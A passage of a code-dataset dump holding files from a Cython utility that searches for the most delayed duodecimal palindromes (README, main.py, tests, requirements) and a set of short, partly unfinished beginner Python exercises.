iteration:\n\n```\n1B + 1B = 110 (duodecimal)\n```\n\nSecond iteration:\n\n```\n110 + 110 = 121 (duodecimal)\n```\n\n`121` (duodecimal) is a palindrome which makes `23` (decimal) second \nmost delayed palindrome. The first one is `12` and the zeroth one is `1`.\n\n## Solution\n\nLet's just iterate over all natural numbers from 1 to infinity, applying to them\nadd-and-reverse operation iteratively, M iterations maximum. At some point we will\nfind all first M most delayed palindromes.\n\nThe key is efficiency. My implementation is written in Cython and is parallelised using multiprocessing.\nIt achieves performance of `14277` numbers per second per thread\non the Intel Core i5 1.4 Ghz (with 200 iterations per number).\n\n## Installation\n\n 1. Clone the repository:\n\n ```shell script\n git clone https://github.com/meownoid/add-and-reverse.git\n ```\n\n 2. Install the dependencies:\n\n ```shell script\n pip install -r requirements.txt\n ```\n\n 3. Build the Cython code:\n\n ```shell script\n cythonize -ai _fast.pyx\n ```\n\n## Running\n\nTo check numbers up to `10000` using `8` threads:\n\n```shell script\npython main.py --threads 8 --numbers 10000\n```\n\nOutput looks like this:\n\n```\nStart: 1\nEnd: 80000\nNumber of threads: 8\nFound new numbers: 45\nBye\n```\n\nResults are stored in the `db.sqlite`.\nRunning the application next time will restore last saved state and computation will continue.\n\nTo just print the results and exit use the `--results` argument:\n\n```shell script\npython main.py --results\n```\n\n## Benchmarking\n\nTo benchmark the performance use the `--benchmark` argument:\n\n```shell script\npython main.py --benchmark\n```\n\nBenchmark results will be printed after the computation:\n\n```\nBenchmark results:\n Total time: 8.755 seconds\n Numbers per second: 114223\n Numbers per second per thread: 14277\n```\n\n## Running tests\n\n```shell script\npytest test.py\n```\n\n## Results (up to 100)\n\n| n | result |\n|---|--------|\n0|1\n1|12\n2|23\n3|83\n4|95\n5|236\n6|107\n7|248\n8|267\n9|1139\n10|1847\n11|2445\n12|1547\n13|273\n14|131\n15|21996\n16|1835\n17|274\n18|280\n19|1535\n20|22404\n21|22275\n22|21655\n23|21645\n24|22048\n25|21862\n26|3587\n27|3449\n28|39736\n29|40607\n30|41471\n31|43187\n32|21921\n33|21726\n34|21754\n35|22162\n36|30524\n37|15647\n38|229079\n39|22090\n40|26632\n41|62987\n42|29806\n43|333210\n44|146123\n45|22148\n46|30951\n47|267704\n48|271143\n49|83195\n50|29514\n51|2996385\n52|3003944\n53|3004326\n54|3741686\n55|2997888\n56|3006611\n57|3006407\n58|3087848\n59|3108534\n60|3250214\n61|4745796\n62|4230573\n63|3002068\n64|5482792\n65|3002589\n66|3006222\n67|4230137\n68|3055027\n69|3003385\n70|3000658\n71|3735496\n72|4996357\n73|3058524\n74|53766429\n75|29867135\n76|5478765\n77|3006523\n78|3000199\n79|996191\n80|255738\n81|145931\n82|143855\n83|353940\n84|430124574\n85|430121283\n86|431991805\n87|430114053\n88|430140883\n89|430561503\n90|430115012\n91|430197084\n92|179169803\n93|36038359\n94|23906759\n95|286673255\n96|46158332\n97|27117431\n98|503428020\n99|7453043706\n100|3009901223\n"},{"alpha_fraction":0.37931033968925476,"alphanum_fraction":0.6551724076271057,"avg_line_length":13.5,"blob_id":"7542e501a4a58c209c54571372be541030ba6310","content_id":"b671fedc15bab186c30793b4e2244c29c9f8c529","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Text","length_bytes":29,"license_type":"permissive","max_line_length":14,"num_lines":2,"path":"/requirements.txt","repo_name":"meownoid/add-and-reverse","src_encoding":"UTF-8","text":"numpy>=1.15.0\nCython>=0.29.0\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5558829307556152,\n \"alphanum_fraction\": 0.5607935786247253,\n \"avg_line_length\": 23.242856979370117,\n \"blob_id\": \"960ce08e51bee82ce6cbfa764324f0ae2b13f87d\",\n \"content_id\": \"00f4d143476850b9a4f4b06745dfb3445d199b0f\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 5091,\n \"license_type\": \"permissive\",\n \"max_line_length\": 88,\n \"num_lines\": 210,\n \"path\": \"/main.py\",\n \"repo_name\": \"meownoid/add-and-reverse\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import datetime\\nimport sqlite3\\nimport argparse\\nimport time\\nfrom collections import ChainMap\\nfrom typing import Dict\\nfrom multiprocessing import Pool\\n\\nfrom _fast import check_range\\n\\n\\ndef prepare_db(conn: sqlite3.Connection) -> None:\\n cur = conn.cursor()\\n\\n cur.execute(\\n \\\"\\\"\\\"\\n CREATE TABLE IF NOT EXISTS results(\\n date text,\\n iterations integer UNIQUE NOT NULL,\\n number integer\\n )\\n \\\"\\\"\\\"\\n )\\n\\n cur.execute(\\n \\\"\\\"\\\"\\n CREATE TABLE IF NOT EXISTS meta (\\n date text,\\n last_number integer\\n )\\n \\\"\\\"\\\"\\n )\\n\\n conn.commit()\\n\\n\\ndef load_results(conn: sqlite3.Connection) -> Dict[int, int]:\\n cur = conn.cursor()\\n\\n return dict(cur.execute(\\\"SELECT iterations, number FROM results;\\\"))\\n\\n\\ndef load_last_number(conn: sqlite3.Connection) -> int:\\n cur = conn.cursor()\\n\\n result = cur.execute(\\n \\\"SELECT max(last_number) AS last_number FROM meta;\\\"\\n ).fetchone()[0]\\n\\n return 1 if result is None else result\\n\\n\\ndef insert_result(conn: sqlite3.Connection, iterations: int, number: int) -> None:\\n cur = conn.cursor()\\n\\n cur.execute(\\n \\\"INSERT INTO results (date, iterations, number) VALUES (?, ?, ?)\\\",\\n (datetime.datetime.now(), iterations, number),\\n )\\n\\n\\ndef insert_last_number(conn: sqlite3.Connection, last_number: int) -> None:\\n cur = conn.cursor()\\n\\n cur.execute(\\n \\\"INSERT INTO meta (date, last_number) VALUES (?, ?)\\\",\\n (datetime.datetime.now(), last_number),\\n )\\n\\n\\ndef main():\\n parser = argparse.ArgumentParser(\\n description=\\\"Utility for search of the most delayed palindromes\\\"\\n )\\n parser.add_argument(\\n \\\"--database\\\",\\n \\\"-d\\\",\\n dest=\\\"database\\\",\\n action=\\\"store\\\",\\n default=\\\"db.sqlite\\\",\\n help=\\\"path to the database file\\\",\\n )\\n parser.add_argument(\\n \\\"--threads\\\",\\n \\\"-t\\\",\\n dest=\\\"threads\\\",\\n type=int,\\n action=\\\"store\\\",\\n default=1,\\n help=\\\"number of threads\\\",\\n )\\n parser.add_argument(\\n \\\"--numbers\\\",\\n \\\"-n\\\",\\n dest=\\\"numbers\\\",\\n type=int,\\n action=\\\"store\\\",\\n default=100000,\\n help=\\\"number of numbers to check in one thread\\\",\\n )\\n parser.add_argument(\\n \\\"--start\\\",\\n \\\"-s\\\",\\n dest=\\\"start\\\",\\n type=int,\\n action=\\\"store\\\",\\n default=None,\\n help=\\\"overrides starting number\\\",\\n )\\n parser.add_argument(\\n \\\"--quiet\\\",\\n \\\"-q\\\",\\n dest=\\\"quiet\\\",\\n action=\\\"store_const\\\",\\n const=True,\\n default=False,\\n help=\\\"quiet mode\\\",\\n )\\n parser.add_argument(\\n \\\"--results\\\",\\n \\\"-r\\\",\\n dest=\\\"results\\\",\\n action=\\\"store_const\\\",\\n const=True,\\n default=False,\\n help=\\\"show results and exit\\\",\\n )\\n parser.add_argument(\\n \\\"--benchmark\\\",\\n \\\"-b\\\",\\n dest=\\\"benchmark\\\",\\n action=\\\"store_const\\\",\\n const=True,\\n default=False,\\n help=\\\"run benchmark while computing and display results\\\",\\n )\\n\\n args = parser.parse_args()\\n\\n assert args.threads > 0\\n assert args.numbers > 0\\n assert args.start >= 0 if args.start is not None else True\\n\\n conn = sqlite3.connect(args.database)\\n\\n prepare_db(conn)\\n\\n old_results = load_results(conn)\\n\\n if args.results:\\n for iterations, result in sorted(old_results.items()):\\n print(f\\\"{iterations:8d} : {result:16d}\\\")\\n\\n return\\n\\n new_results = {}\\n all_results = ChainMap(old_results, new_results)\\n\\n start = args.start if args.start is not None else load_last_number(conn)\\n\\n ranges = []\\n end = start\\n for _ in range(args.threads):\\n ranges.append((end, end + args.numbers))\\n end += args.numbers\\n\\n if not args.quiet:\\n print(f\\\"Start: {start}\\\")\\n print(f\\\"End: {end - 1}\\\")\\n print(f\\\"Number of threads: {args.threads}\\\")\\n\\n with Pool(args.threads) as pool:\\n start_time = time.time()\\n for res in pool.starmap(check_range, ranges, chunksize=1):\\n for key, value in res.items():\\n if key not in all_results:\\n new_results[key] = value\\n continue\\n\\n if value < all_results[key]:\\n new_results[key] = value\\n elapsed_time = time.time() - start_time\\n\\n if args.benchmark:\\n numbers_per_second = args.numbers / elapsed_time\\n numbers_per_second_per_thread = numbers_per_second / args.threads\\n print(\\\"Benchmark results:\\\")\\n print(f\\\" Total time: {elapsed_time:.3f} seconds\\\")\\n print(f\\\" Numbers per second: {int(numbers_per_second):d}\\\")\\n print(\\n f\\\" Numbers per second per thread: {int(numbers_per_second_per_thread):d}\\\"\\n )\\n\\n for key, value in new_results.items():\\n insert_result(conn, key, value)\\n\\n insert_last_number(conn, end)\\n\\n if not args.quiet:\\n print(f\\\"Found new numbers: {len(new_results)}\\\")\\n\\n conn.commit()\\n conn.close()\\n\\n if not args.quiet:\\n print(\\\"Bye\\\")\\n\\n\\nif __name__ == \\\"__main__\\\":\\n main()\\n\"\n },\n {\n \"alpha_fraction\": 0.5437921285629272,\n \"alphanum_fraction\": 0.5803657174110413,\n \"avg_line_length\": 22.08888816833496,\n \"blob_id\": \"ac380850a9cde4dbb67e7ed5b39a5e486cba3447\",\n \"content_id\": \"d5770c1e8ca6450c54f7f8f5913462dd4068b682\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2078,\n \"license_type\": \"permissive\",\n \"max_line_length\": 88,\n \"num_lines\": 90,\n \"path\": \"/test.py\",\n \"repo_name\": \"meownoid/add-and-reverse\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from _fast import (\\n check,\\n reverse_and_add_test,\\n is_palindrome_test,\\n MAX_ITERS_TEST,\\n check_range,\\n)\\n\\ndigits = \\\"0123456789AB\\\"\\nreverse_digits = {d: i for i, d in enumerate(digits)}\\n\\n\\ndef to_duodecimal(n: int) -> str:\\n if n == 0:\\n return \\\"0\\\"\\n\\n if n < 0:\\n return f\\\"-{to_duodecimal(-n)}\\\"\\n\\n xs = []\\n while n:\\n xs.append(n % 12)\\n n //= 12\\n return \\\"\\\".join(map(lambda x: digits[x], reversed(xs)))\\n\\n\\ndef from_duodecimal(n: str) -> int:\\n if n[0] == \\\"-\\\":\\n return -from_duodecimal(n[1:])\\n\\n return sum(map(lambda p: reverse_digits[p[1]] * 12 ** p[0], enumerate(reversed(n))))\\n\\n\\ndef reverse_and_add_simple(n: int) -> int:\\n return n + from_duodecimal(\\\"\\\".join(reversed(to_duodecimal(n))))\\n\\n\\ndef is_palindrome_simple(n: int) -> bool:\\n d = to_duodecimal(n)\\n return d == \\\"\\\".join(reversed(d))\\n\\n\\ndef check_simple(n: int) -> int:\\n for i in range(MAX_ITERS_TEST):\\n if is_palindrome_simple(n):\\n return i\\n n = reverse_and_add_simple(n)\\n\\n return -1\\n\\n\\ndef test_to_duodecimal():\\n assert to_duodecimal(0) == \\\"0\\\"\\n assert to_duodecimal(1) == \\\"1\\\"\\n assert to_duodecimal(9) == \\\"9\\\"\\n assert to_duodecimal(10) == \\\"A\\\"\\n assert to_duodecimal(11) == \\\"B\\\"\\n assert to_duodecimal(12) == \\\"10\\\"\\n assert to_duodecimal(13) == \\\"11\\\"\\n assert to_duodecimal(23) == \\\"1B\\\"\\n\\n for i in range(1, 42):\\n assert to_duodecimal(-i) == \\\"-\\\" + to_duodecimal(i)\\n\\n\\ndef test_from_duodecimal():\\n for i in range(-1000, 1000):\\n assert i == from_duodecimal(to_duodecimal(i))\\n\\n\\ndef test_reverse_and_add():\\n for i in range(1, 1000):\\n assert reverse_and_add_test(i) == reverse_and_add_simple(i)\\n\\n\\ndef test_is_palindrome():\\n for i in range(1, 100000):\\n assert is_palindrome_test(i) == is_palindrome_simple(i)\\n\\n\\ndef test_check():\\n for i in range(1, 100):\\n assert check(i) == check_simple(i)\\n\\n\\ndef test_check_range():\\n for i, n in check_range(1, 100).items():\\n for _ in range(i):\\n n = reverse_and_add_simple(n)\\n assert is_palindrome_simple(n)\\n\"\n },\n {\n \"alpha_fraction\": 0.5053533315658569,\n \"alphanum_fraction\": 0.7384903430938721,\n \"avg_line_length\": 15.828828811645508,\n \"blob_id\": \"7aaee5535fba7db9c7366c074e13190e17d6d220\",\n \"content_id\": \"7f3f848e179f39087e8d23c8cd8104fa949f30c2\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 3736,\n \"license_type\": \"permissive\",\n \"max_line_length\": 108,\n \"num_lines\": 222,\n \"path\": \"/README.md\",\n \"repo_name\": \"meownoid/add-and-reverse\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Most delayed palindromes generator\\n\\nThis is an utility that I used to solve little programming quiz back at the university.\\n\\n## Problem statement\\n\\nWe were asked to find the most delayed palindrome for any natural number.\\n\\nMost delayed palindrome of N is the **smallest** decimal natural number which in **exactly** N iterations of\\nthe reverse-and-add operation results in the palindrome in the duodecimal system (and at none\\nof the previous iterations it is a palindrome).\\n\\nPalindrome is the number that satisfies `str(n) == ''.join(reversed(str(n)))` (assuming str works\\nin duodecimal system).\\n\\nReverse-and-add operation can be defined as `lambda n: n + int(reversed(str(n)))` (assuming str works\\nin duodecimal system).\\n\\n### Example\\n\\nLet's see an example of number `23` (decimal) = `1B` (duodecimal).\\n\\nFirst iteration:\\n\\n```\\n1B + 1B = 110 (duodecimal)\\n```\\n\\nSecond iteration:\\n\\n```\\n110 + 110 = 121 (duodecimal)\\n```\\n\\n`121` (duodecimal) is a palindrome which makes `23` (decimal) second \\nmost delayed palindrome. The first one is `12` and the zeroth one is `1`.\\n\\n## Solution\\n\\nLet's just iterate over all natural numbers from 1 to infinity, applying to them\\nadd-and-reverse operation iteratively, M iterations maximum. At some point we will\\nfind all first M most delayed palindromes.\\n\\nThe key is efficiency. My implementation is written in Cython and is parallelised using multiprocessing.\\nIt achieves performance of `14277` numbers per second per thread\\non the Intel Core i5 1.4 Ghz (with 200 iterations per number).\\n\\n## Installation\\n\\n 1. Clone the repository:\\n\\n ```shell script\\n git clone https://github.com/meownoid/add-and-reverse.git\\n ```\\n\\n 2. Install the dependencies:\\n\\n ```shell script\\n pip install -r requirements.txt\\n ```\\n\\n 3. Build the Cython code:\\n\\n ```shell script\\n cythonize -ai _fast.pyx\\n ```\\n\\n## Running\\n\\nTo check numbers up to `10000` using `8` threads:\\n\\n```shell script\\npython main.py --threads 8 --numbers 10000\\n```\\n\\nOutput looks like this:\\n\\n```\\nStart: 1\\nEnd: 80000\\nNumber of threads: 8\\nFound new numbers: 45\\nBye\\n```\\n\\nResults are stored in the `db.sqlite`.\\nRunning the application next time will restore last saved state and computation will continue.\\n\\nTo just print the results and exit use the `--results` argument:\\n\\n```shell script\\npython main.py --results\\n```\\n\\n## Benchmarking\\n\\nTo benchmark the performance use the `--benchmark` argument:\\n\\n```shell script\\npython main.py --benchmark\\n```\\n\\nBenchmark results will be printed after the computation:\\n\\n```\\nBenchmark results:\\n Total time: 8.755 seconds\\n Numbers per second: 114223\\n Numbers per second per thread: 14277\\n```\\n\\n## Running tests\\n\\n```shell script\\npytest test.py\\n```\\n\\n## Results (up to 100)\\n\\n| n | result |\\n|---|--------|\\n0|1\\n1|12\\n2|23\\n3|83\\n4|95\\n5|236\\n6|107\\n7|248\\n8|267\\n9|1139\\n10|1847\\n11|2445\\n12|1547\\n13|273\\n14|131\\n15|21996\\n16|1835\\n17|274\\n18|280\\n19|1535\\n20|22404\\n21|22275\\n22|21655\\n23|21645\\n24|22048\\n25|21862\\n26|3587\\n27|3449\\n28|39736\\n29|40607\\n30|41471\\n31|43187\\n32|21921\\n33|21726\\n34|21754\\n35|22162\\n36|30524\\n37|15647\\n38|229079\\n39|22090\\n40|26632\\n41|62987\\n42|29806\\n43|333210\\n44|146123\\n45|22148\\n46|30951\\n47|267704\\n48|271143\\n49|83195\\n50|29514\\n51|2996385\\n52|3003944\\n53|3004326\\n54|3741686\\n55|2997888\\n56|3006611\\n57|3006407\\n58|3087848\\n59|3108534\\n60|3250214\\n61|4745796\\n62|4230573\\n63|3002068\\n64|5482792\\n65|3002589\\n66|3006222\\n67|4230137\\n68|3055027\\n69|3003385\\n70|3000658\\n71|3735496\\n72|4996357\\n73|3058524\\n74|53766429\\n75|29867135\\n76|5478765\\n77|3006523\\n78|3000199\\n79|996191\\n80|255738\\n81|145931\\n82|143855\\n83|353940\\n84|430124574\\n85|430121283\\n86|431991805\\n87|430114053\\n88|430140883\\n89|430561503\\n90|430115012\\n91|430197084\\n92|179169803\\n93|36038359\\n94|23906759\\n95|286673255\\n96|46158332\\n97|27117431\\n98|503428020\\n99|7453043706\\n100|3009901223\\n\"\n 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}\n]","isConversational":false},"num_files":{"kind":"number","value":4,"string":"4"}}},{"rowIdx":2978339,"cells":{"repo_name":{"kind":"string","value":"yeeun0507/likelion_python"},"repo_url":{"kind":"string","value":"https://github.com/yeeun0507/likelion_python"},"snapshot_id":{"kind":"string","value":"938e89c1fc73be824ede103e12862f8d13734f74"},"revision_id":{"kind":"string","value":"75a571148990d5892e022810f31ec179c1149f07"},"directory_id":{"kind":"string","value":"da97746f4d16d1c52a4bf82568c79be4a4dcbcf4"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2022-08-07T22:44:52.295190","string":"2022-08-07T22:44:52.295190"},"revision_date":{"kind":"timestamp","value":"2020-05-16T16:24:49","string":"2020-05-16T16:24:49"},"committer_date":{"kind":"timestamp","value":"2020-05-16T16:24:49","string":"2020-05-16T16:24:49"},"github_id":{"kind":"number","value":264408163,"string":"264,408,163"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.3949579894542694,"alphanum_fraction":0.47058823704719543,"avg_line_length":14.714285850524902,"blob_id":"c67db1d686698d35fcebf98fc57b59f242af5c32","content_id":"4f8ddc0296804c7190a81a488f5111e362624136","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":119,"license_type":"no_license","max_line_length":31,"num_lines":7,"path":"/code/11.py","repo_name":"yeeun0507/likelion_python","src_encoding":"UTF-8","text":"num = 0\r\nsum = 0\r\nwhile num < 1000:\r\n num += 1\r\n if (num % 3) != 0: continue\r\n sum = sum + num\r\nprint(sum)\r\n\r\n"},{"alpha_fraction":0.3207547068595886,"alphanum_fraction":0.5849056839942932,"avg_line_length":14.333333015441895,"blob_id":"7145423348ce0f5b0d76c98b3711cd09766d9f5a","content_id":"633413b270652386a84d9b51092d86cef473540e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":53,"license_type":"no_license","max_line_length":22,"num_lines":3,"path":"/code/3.py","repo_name":"yeeun0507/likelion_python","src_encoding":"UTF-8","text":"pin = \"881120-1068234\"\r\nprint(pin[7])\r\nresult =\r\n\r\n\r\n"},{"alpha_fraction":0.32679739594459534,"alphanum_fraction":0.5032680034637451,"avg_line_length":17.125,"blob_id":"1b53ac962410fd1d9d501b4074e5849186b611fe","content_id":"679968b6bb20ffaf83962edbeb6c7a5050d88d56","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":153,"license_type":"no_license","max_line_length":45,"num_lines":8,"path":"/code/12.py","repo_name":"yeeun0507/likelion_python","src_encoding":"UTF-8","text":"A = [20, 55, 67, 82, 45, 33, 90, 87, 100, 25]\r\nnum = -1\r\nsum = 0\r\nwhile num < 9:\r\n\tnum += 1\r\n\tif A[num] < 50: continue\r\n\tsum = sum + A[num]\r\nprint(sum)\r\n"},{"alpha_fraction":0.4833333194255829,"alphanum_fraction":0.4833333194255829,"avg_line_length":18,"blob_id":"dacc7a100e0d8911e745be82875bd0aa7dba4258","content_id":"f81d2847245e905396e74c7ac104c36f0bed2181","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":60,"license_type":"no_license","max_line_length":34,"num_lines":3,"path":"/code/6.txt","repo_name":"yeeun0507/likelion_python","src_encoding":"UTF-8","text":"li= ['Life', 'is', 'too', 'short']\r\n\r\nprint(\"\".join(list))\r\n"},{"alpha_fraction":0.44144144654273987,"alphanum_fraction":0.4954954981803894,"avg_line_length":10.333333015441895,"blob_id":"f943a1d1fc6cdea7e511e26e3adfc463a4fa1679","content_id":"fc2ae1cf6d6193e9a1abbb24aeff5b01899269af","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":111,"license_type":"no_license","max_line_length":32,"num_lines":9,"path":"/code/15.py","repo_name":"yeeun0507/likelion_python","src_encoding":"UTF-8","text":"def average(*arg):\r\n\r\n avg = sum(arg) / len(arg)\r\n\r\n return avg\r\n\r\n\r\n\r\nprint(average(1, 2, 3, 4, 5, 6))\r\n"},{"alpha_fraction":0.4126984179019928,"alphanum_fraction":0.5079365372657776,"avg_line_length":19,"blob_id":"00abd8c08d860e56ec1d65a85cc2df7730db306b","content_id":"b6720307d46f4d0b6c70e7641891b43173f1d0d7","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":69,"license_type":"no_license","max_line_length":48,"num_lines":3,"path":"/code/9.py","repo_name":"yeeun0507/likelion_python","src_encoding":"UTF-8","text":"dic = {'name':'홍길동', 'birth':'1128', 'age':'30'}\r\n\r\nprint(dic\r\n"},{"alpha_fraction":0.520588219165802,"alphanum_fraction":0.5617647171020508,"avg_line_length":20.66666603088379,"blob_id":"72e0637bb96818fc086b6581ba1a00b1a2196903","content_id":"0e3ec3429277062e50b236aaf90b4bcfd5fdea04","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":340,"license_type":"no_license","max_line_length":37,"num_lines":15,"path":"/code/17.py","repo_name":"yeeun0507/likelion_python","src_encoding":"UTF-8","text":"class MaxLimitCalculator(Calculator):\r\n def add(self, val):\r\n self.value += val\r\n if self.value > 100:\r\n self.value = 100\r\n return self.value\r\n else:\r\n return self.value\r\n\r\ncal = MaxLimitCalculator()\r\n\r\nprint(cal.add(60))\r\nprint(cal.add(30))\r\nprint(cal.add(20))\r\nprint(cal.add(50))\r\n"},{"alpha_fraction":0.4545454680919647,"alphanum_fraction":0.6000000238418579,"avg_line_length":16.33333396911621,"blob_id":"fb92014f9e3878dc63b19f5b39d06f42bd6cb387","content_id":"6346c1e3ba192828c18a07594a43e02cab5e51b5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":55,"license_type":"no_license","max_line_length":20,"num_lines":3,"path":"/code/8.txt","repo_name":"yeeun0507/likelion_python","src_encoding":"UTF-8","text":"tupel1 = (1,2,3)\r\ntuple2 = (4,)\r\nprint(tuple1=tuple2)\r\n"},{"alpha_fraction":0.4390243887901306,"alphanum_fraction":0.6097561120986938,"avg_line_length":33.28571319580078,"blob_id":"bca499d396186fcc56edd3ab14a616b844b20319","content_id":"7840811ca114cd5f0ce6c000985a17a262d8f556","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":246,"license_type":"no_license","max_line_length":94,"num_lines":7,"path":"/code/1.py","repo_name":"yeeun0507/likelion_python","src_encoding":"UTF-8","text":"Python 3.8.3 (tags/v3.8.3:6f8c832, May 13 2020, 22:37:02) [MSC v.1924 64 bit (AMD64)] on win32\r\nType \"help\", \"copyright\", \"credits\" or \"license()\" for more information.\r\n>>> i= [80,75,55]\r\n>>> result = sum(i)\r\n>>> print(result/len(i))\r\n70.0\r\n>>> "}],"string":"[\n {\n \"alpha_fraction\": 0.3949579894542694,\n \"alphanum_fraction\": 0.47058823704719543,\n \"avg_line_length\": 14.714285850524902,\n \"blob_id\": \"c67db1d686698d35fcebf98fc57b59f242af5c32\",\n \"content_id\": \"4f8ddc0296804c7190a81a488f5111e362624136\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 119,\n \"license_type\": \"no_license\",\n \"max_line_length\": 31,\n \"num_lines\": 7,\n \"path\": \"/code/11.py\",\n \"repo_name\": \"yeeun0507/likelion_python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"num = 0\\r\\nsum = 0\\r\\nwhile num < 1000:\\r\\n num += 1\\r\\n if (num % 3) != 0: continue\\r\\n sum = sum + num\\r\\nprint(sum)\\r\\n\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.3207547068595886,\n \"alphanum_fraction\": 0.5849056839942932,\n \"avg_line_length\": 14.333333015441895,\n \"blob_id\": \"7145423348ce0f5b0d76c98b3711cd09766d9f5a\",\n \"content_id\": \"633413b270652386a84d9b51092d86cef473540e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 53,\n \"license_type\": \"no_license\",\n \"max_line_length\": 22,\n \"num_lines\": 3,\n \"path\": \"/code/3.py\",\n \"repo_name\": \"yeeun0507/likelion_python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"pin = \\\"881120-1068234\\\"\\r\\nprint(pin[7])\\r\\nresult =\\r\\n\\r\\n\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.32679739594459534,\n \"alphanum_fraction\": 0.5032680034637451,\n \"avg_line_length\": 17.125,\n \"blob_id\": \"1b53ac962410fd1d9d501b4074e5849186b611fe\",\n \"content_id\": \"679968b6bb20ffaf83962edbeb6c7a5050d88d56\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 153,\n \"license_type\": \"no_license\",\n \"max_line_length\": 45,\n \"num_lines\": 8,\n \"path\": \"/code/12.py\",\n \"repo_name\": \"yeeun0507/likelion_python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"A = [20, 55, 67, 82, 45, 33, 90, 87, 100, 25]\\r\\nnum = -1\\r\\nsum = 0\\r\\nwhile num < 9:\\r\\n\\tnum += 1\\r\\n\\tif A[num] < 50: continue\\r\\n\\tsum = sum + A[num]\\r\\nprint(sum)\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.4833333194255829,\n \"alphanum_fraction\": 0.4833333194255829,\n \"avg_line_length\": 18,\n \"blob_id\": \"dacc7a100e0d8911e745be82875bd0aa7dba4258\",\n \"content_id\": \"f81d2847245e905396e74c7ac104c36f0bed2181\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 60,\n \"license_type\": \"no_license\",\n \"max_line_length\": 34,\n \"num_lines\": 3,\n \"path\": \"/code/6.txt\",\n \"repo_name\": \"yeeun0507/likelion_python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"li= ['Life', 'is', 'too', 'short']\\r\\n\\r\\nprint(\\\"\\\".join(list))\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.44144144654273987,\n \"alphanum_fraction\": 0.4954954981803894,\n \"avg_line_length\": 10.333333015441895,\n \"blob_id\": \"f943a1d1fc6cdea7e511e26e3adfc463a4fa1679\",\n \"content_id\": \"fc2ae1cf6d6193e9a1abbb24aeff5b01899269af\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 111,\n \"license_type\": \"no_license\",\n \"max_line_length\": 32,\n \"num_lines\": 9,\n \"path\": \"/code/15.py\",\n \"repo_name\": \"yeeun0507/likelion_python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def average(*arg):\\r\\n\\r\\n avg = sum(arg) / len(arg)\\r\\n\\r\\n return avg\\r\\n\\r\\n\\r\\n\\r\\nprint(average(1, 2, 3, 4, 5, 6))\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.4126984179019928,\n \"alphanum_fraction\": 0.5079365372657776,\n \"avg_line_length\": 19,\n \"blob_id\": \"00abd8c08d860e56ec1d65a85cc2df7730db306b\",\n \"content_id\": \"b6720307d46f4d0b6c70e7641891b43173f1d0d7\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 69,\n \"license_type\": \"no_license\",\n \"max_line_length\": 48,\n \"num_lines\": 3,\n \"path\": \"/code/9.py\",\n \"repo_name\": \"yeeun0507/likelion_python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"dic = {'name':'홍길동', 'birth':'1128', 'age':'30'}\\r\\n\\r\\nprint(dic\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.520588219165802,\n \"alphanum_fraction\": 0.5617647171020508,\n \"avg_line_length\": 20.66666603088379,\n \"blob_id\": \"72e0637bb96818fc086b6581ba1a00b1a2196903\",\n \"content_id\": \"0e3ec3429277062e50b236aaf90b4bcfd5fdea04\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 340,\n \"license_type\": \"no_license\",\n \"max_line_length\": 37,\n \"num_lines\": 15,\n \"path\": \"/code/17.py\",\n \"repo_name\": \"yeeun0507/likelion_python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"class MaxLimitCalculator(Calculator):\\r\\n def add(self, val):\\r\\n self.value += val\\r\\n if self.value > 100:\\r\\n self.value = 100\\r\\n return 